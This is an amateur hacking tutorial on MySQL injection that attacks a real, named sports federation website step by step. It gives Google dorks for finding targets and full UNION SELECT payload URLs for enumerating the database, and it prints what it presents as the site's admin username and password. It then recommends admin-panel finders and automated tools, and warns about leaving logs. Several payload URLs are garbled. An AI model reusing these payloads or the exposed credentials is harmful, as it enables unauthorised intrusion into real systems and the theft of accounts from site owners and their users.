  • 1. MySQL Injection[FULL TUTORIAL] Structure: 1.Intro# 2.What is SQL 3.MySQL 4.How to find vulnerability 5.Exploiting Mysql vulnerability 6.Getting Mysql Version 7.Getting Mysql User 8.Getting Mysql Databases 9.Getting Mysql Tables 10.Getting Mysql Columns 11.Getting Information From Columns 12.Finding Admin Panel 13.Tools 14.Greetz 15.End# 1. Intro#Hello my name is AlphaSky today am going to explain MySQL Injection on Live Example.What that means?-Well it means that i'll exploit an real site.This tutorial is for anykind level reader,student,newbie even noob.I just wonna to show you how easy is this prefor of Attack.So enough talking we have a lot of things to cover here. 2. What is SQL? SQL injection is probably the most abundant programming flaw that exists on the internet at present. It is the vulnerability through which unauthorized person can access the various critical and private dat. SQL injection is not a flaw in the web or db server but but is a result of the poor and inexperienced programming practices. And it is one of the deadliest as well as easiest attack to execute from remote location.In SQL injection, we interact with DB server with the various commands
  • 2. and get various data from it. In this tutorial, I would be discussing 3 aspects of SQL injection namely bypassing logins, accessing the secret data and modifying the page contents. 3. MySQL MySQL is a relational database management system (RDBMS) that runs as a server providing multi-user access to a number of databases. It is named after developer Michael Widenius daughter, My. The SQL phrase stands for Structured Query Language.=So the basic what you need to know about SQL and MySQL are done now the real part begins 4. How to find vulnerability There many many ways to find vulnerability.Most familiar ways are using the Google Dorks:inurl:index.php?id=inurl:article.php?id=allinurl:news.php?id=inurl:shop.ph p?cat=Hackers always say "Google is my Best Friend" now you know way without of google we couldn't do our job so easy.So at the end of this tutorial i'll post a dork list so am going to save you from searching the internet. 5. Exploiting Mysql vulnerability So lets start with exploiting our target.For this tutorial i decided to chose European Table Tennis Union Code: http://www.ettu.org I have used a dork inurl:news_view.php?id= and i got this link of the site Code: http://www.ettu.org/news_view.php?id=2583 So how can we test it is it vuln. on MySQL Injection? - Its simple with adding ' or % at the and or before the id.Now our vuln. link should look like this Code: http://www.ettu.org/news_view.php?id=2583' Did you notice something was changed?-Yes the content that was previos on the site was not showed.So this is a sing that this site may be vuln. on MySQL Injection sometimes will print you a message that says Code: Warning: mysql_fetch_assoc(),Warning: mysql_fetch_array(),mysql_num_rows(),mysql error,mysql_query,mysql_fetch,mysql_connect In this case doesn't show so we also may be facing with MySQL NoError Injection.How can we know for sure is it vuln.?-We are going to start typeingORDER BY 1 After the ID number Code: http://www.ettu.org/news_view.php?id=2583+ORDER+BY+1
  • 3. So our content is shown agaen.And now we are sure we're facing a site that is vuln. on MySQLInjection.We continue to incrise the Order Number so we find out how many columns are there until we get an blan page agaen. Code: http://www.ettu.org/news_view.php?id=2583+ORDER+BY+2 <== No blank Page Code: http://www.ettu.org/news_view.php?id=2583+ORDER+BY+3 <== No blank Page Code: http://www.ettu.org/news_view.php?id=2583+ORDER+BY+4 <== No blank Page Code: http://www.ettu.org/news_view.php?id=2583+ORDER+BY+10 <== No blank Page Code: http://www.ettu.org/news_view.php?id=2583+ORDER+BY+15 <== No blank Page Code: http://www.ettu.org/news_view.php?id=2583+ORDER+BY+16 <== No blank Page Code: http://www.ettu.org/news_view.php?id=2583+ORDER+BY+17 <== Blank Page wOOt!! We now know that there are 16 vuln. columns!!Now we are going to select them all with this comand UNION SELECT or UNION ALL SELECT Code: http://www.ettu.org/news_view.php?id=2583+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16-- Dont forget to put "--" at the end or it will return an blank page.So the content loads agaen and lets see witch of these vuln. columns we can use.To do that we add a '-' before the ID Number Code: http://www.ettu.org/news_view.php?id=2583+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- So this is very important if you dont do this you cannot continue to do the next several steps and now it prints us a vuln. columns number 2 and number 4.So this means that columns with number 2 and 4 are vulnruble and we can use them.To get Mysql version,User,Databases. 6. Getting Mysql Version To get MySQL version we use version() or @@version commands to dispaly version of MySQL Database.So we change 2 into @@version and Code:
  • 4. http://www.ettu.org/news_view.php?id=2583+UNION+SELECT+1,@@version,3,4,5,6,7,8,9,10,11 ,12,13,14,15,16-- there is it MySQL Version displayed at the page. Code: 5.1.37-1ubuntu5.5 So when MySQL Version is 5> we can use information_schema to get data faster but if version is >5 that means that we need to guess the tables and columns.So we need to be very lucky to guess the tabale and column. 7. Getting Mysql User Getting the user is with the user() command Code: http://www.ettu.org/news_view.php?id=2583+UNION+SELECT+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16-- Displayed Code: ettu_admin@localhost 8. Getting Mysql Databases So now we need to get the databases with the followed command database() Code: http://www.ettu.org/news_view.php?id=2583+UNION+SELECT+1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16-- Displayed Code: ettu.org_ettu_db01 Sometimes there are more databases so it good to know how many databases there are and why are they for. Because maybe the data we are looking is in the other database. 9. Getting Mysql Tables And here we are at the main think.How to find out the table names.We are going to do this with adding this command Code: group_concat(table_name) at the place of the vun. column and in our case is 2 and with adding at the end of the number of columns the following command Code:
  • 5. FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() What does this mean?-This means to select Table Names from information_schema where table schema is from the Database. and when we replace everything we get this link and this tables: Code: http://www.ettu.org/news_view.php?id=2583+UNION+SELECT+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16+ ROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()-F We got a lots of tables but we dont need them all so am going to press Ctrl+F [Find specific word] and type user,users,admin,members and it turns out that there is a table with the name Code: 0910ettucup01_admin Now we know that there is table with name admin and there must be some username and passwords but to that we need to find the columns in that table! 10.Getting Mysql Columns We found out that theres a table admin and now we need to find the columns we need to change table_name to column_name and Code: FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()-to INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_SCHEMA=DATABASE()-FROM + Now when we change all that we get Code: http://www.ettu.org/news_view.php?id=2583+UNION+SELECT+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16+ ROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_SCHEMA=DATABASE()-F with executing this we get a lot i mean really a lot of columns name that we don't need and it may take a while till we find our most needed columns so we are going to pull out only the columns from our table that we found earlier and that is from ettu.org_ettu_db01 to do this we need to you MySQL Char How to find it?-Well you can always use Google or you can install on your Mozilla an addon with name HackBar there is a MySQL char converter so now am going to convert our table into a MySQL Char Code:
  • 6. CHAR(48, 57, 49, 48, 101, 116, 116, 117, 99, 117, 112, 48, 49, 95, 97, 100, 109, 105, 110) Now where to put this?-We are going to change our link into: Code: http://www.ettu.org/news_view.php?id=2583+union+select+1,group_concat%28column_name%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+ from+information_schema.columns+where+table_name=CHAR%2848,%2057,%2049,%2048,%20101,%2 0116,%20116, %20117,%2099,%20117,%20112,%2048,%2049,%2095,%2097,%20100,%20109,%20105,%20110%29-- Now are displayed the columns that are in Table 'ADMIN' Code: id,login,password,stato,id_squ,girone,abilitato Our work is almost done.Just to dump usernames and passwords. 11.Getting Information From Columns To do this we are going to use a command that we are using it all the way till here.And that is group_concat().All we now need to do is to change column_name into our ectual column names and that are "login,password,id,stato ect" So lets see how ill it looks Code: http://www.ettu.org/news_view.php?id=2583+union+select+1,group_concat(id,0x3a,login,0x3a,password),3,4,5,6,7,8,9,10,11,12,1 3,14,15,16+ rom+0910ettucup01_admin-f Damn the user-names and passwords are displayed at the site.So let explain here what we have done.We have changed information_schema.columns into the table name 'cuz we dont need not to read the columns 'cuz we already put them into the group_concat() you see id login password those are columns now from where to be selected from the table name 0910ettucup01_admin and now we have our log in details: Code: 1:adminvitesse:vitesse2006 :admin:matchvitesse 2 All it left now is to find the Admin Panel.... 12.Finding Admin Panel
  • 7. Unfortunately our live example site doesn't have an admin panel so for this to show you i'll took another site.So when you got the admin details we need to login somewhere that somewhere is called Admin Panel or Control Panel or WebPanel its same or you can say it Login Page.To find an log in page you can use many tools ill tell you some in the next part.An example of an login page Code: http://www.discountexpress.co.uk/admin/ There you can enter the login info and get into the site and change alot 13.Tools So tools,there aren't so much tools to use when your doing this but there are a few that will help you a lot. 13.1.Admin Finder Admin finder is a tool that helps you to find the admin page or Log In Page very quick for this you can use many online or you can use some web scanner to find it.Here are 1 Good program and one good Online Scanner Online Admin Page ScannerAnd for download Acunetix Web Vulnerability Scanner=>This scanner could be used for more things but now we are not going to talk about them 13.2 Hacking Tools that are making you're work easier Well we all know that some of you have started with tools ex.Havij or MySQL Helper.Yes they are good in hand expecialy when we are hacking into a MySQL Server >5 that are guessing the table and column names so that is realy good also Havij is a great program that have Admin Finder too and MD5 Section where you can easly search about 10-12 MD5 Decripting sites so yes its realy good program but dont use it for hacking all the way into the server 'cuz it leaves a lotz of logs and you my be finish in jail 14.Greetz Greetz To All Friends,All Hackers in the world,EveryPPL who are trying to learn this! 15.End# So this is the end of my tutorial.Feel free to comment,share it where ever you wont and dont for get to Credit My Name.Am planing to continue to write tutorials not for MySQL for a lot other things but we'll see how will the time effect us -----MOZAAI MADHU HACKER